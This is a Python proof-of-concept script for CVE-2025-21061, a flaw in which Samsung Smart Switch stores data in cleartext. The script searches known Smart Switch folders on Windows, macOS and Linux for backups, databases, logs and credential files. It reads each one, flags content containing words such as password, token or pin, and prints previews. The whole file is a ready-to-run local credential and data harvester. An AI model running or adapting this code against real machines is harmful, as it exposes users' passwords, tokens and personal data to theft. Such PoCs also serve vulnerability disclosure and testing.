# CVE-2025-21061 PoC - Samsung Smart Switch Cleartext Sensitive Information Storage
# This PoC demonstrates how an attacker with local access can locate and extract
# sensitive information stored in cleartext by vulnerable versions of Samsung Smart Switch (< 3.7.67.2)
import os
import sys
import glob
import platform
# Common Smart Switch data storage paths by operating system
SMART_SWITCH_PATHS = {
"Windows": [
os.path.expandvars(r"%LOCALAPPDATA%\Samsung\Smart Switch"),
os.path.expandvars(r"%APPDATA%\Samsung\Smart Switch"),
os.path.expandvars(r"%USERPROFILE%\Documents\Samsung\Smart Switch"),
os.path.expandvars(r"%USERPROFILE%\AppData\Local\Samsung"),
],
"Darwin": [ # macOS
os.path.expanduser("~/Library/Application Support/Samsung/Smart Switch"),
os.path.expanduser("~/Library/Logs/SmartSwitch"),
os.path.expanduser("~/Documents/Samsung/Smart Switch"),
],
"Linux": [
os.path.expanduser("~/.local/share/Samsung/Smart Switch"),
os.path.expanduser("~/.config/Samsung/Smart Switch"),
]
}
# Sensitive file patterns commonly left in cleartext by vulnerable Smart Switch versions
SENSITIVE_PATTERNS = [
"*.bak", # Backup files
"*.db", # SQLite databases
"*.sqlite", # SQLite databases
"*.log", # Log files (may contain tokens)
"*.tmp", # Temporary files
"*credential*", # Credential-related files
"*backup*", # Backup archives
"*.json", # Configuration files
"*.xml", # XML data exports
"*.csv", # CSV exports of contacts/messages
]
def find_smart_switch_paths():
"""Locate potential Smart Switch storage directories on the local system."""
system = platform.system()
paths = SMART_SWITCH_PATHS.get(system, [])
existing_paths = [p for p in paths if os.path.exists(p)]
return existing_paths
def scan_cleartext_files(base_paths, patterns):
"""Scan known directories for cleartext sensitive files."""
found_files = []
for base_path in base_paths:
for pattern in patterns:
search_pattern = os.path.join(base_path, "**", pattern)
found_files.extend(glob.glob(search_pattern, recursive=True))
return found_files
def extract_sensitive_content(file_path):
"""Extract and display sensitive content from a cleartext file."""
try:
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
# Simple heuristic to flag potentially sensitive data
sensitive_keywords = ["password", "token", "key", "credential",
"ssn", "email", "phone", "address", "pin"]
flagged = any(kw.lower() in content.lower() for kw in sensitive_keywords)
return content, flagged
except Exception as e:
return f"[Error reading file: {e}]", False
def main():
print("[*] CVE-2025-21061 - Smart Switch Cleartext Storage PoC")
print("[*] Searching for Samsung Smart Switch data directories...\n")
ss_paths = find_smart_switch_paths()
if not ss_paths:
print("[-] No Smart Switch directories found on this system.")
sys.exit(0)
print(f"[+] Found {len(ss_paths)} potential Smart Switch path(s):")
for p in ss_paths:
print(f" - {p}")
print("\n[*] Scanning for cleartext sensitive files...")
cleartext_files = scan_cleartext_files(ss_paths, SENSITIVE_PATTERNS)
if not cleartext_files:
print("[-] No cleartext sensitive files detected.")
sys.exit(0)
print(f"[!] Found {len(cleartext_files)} potentially sensitive file(s):\n")
for f in cleartext_files:
content, flagged = extract_sensitive_content(f)
marker = "[SENSITIVE]" if flagged else "[INFO]"
print(f"{marker} {f}")
if flagged:
preview = content[:200].replace("\n", " ")
print(f" Preview: {preview}...\n")
if __name__ == "__main__":
main()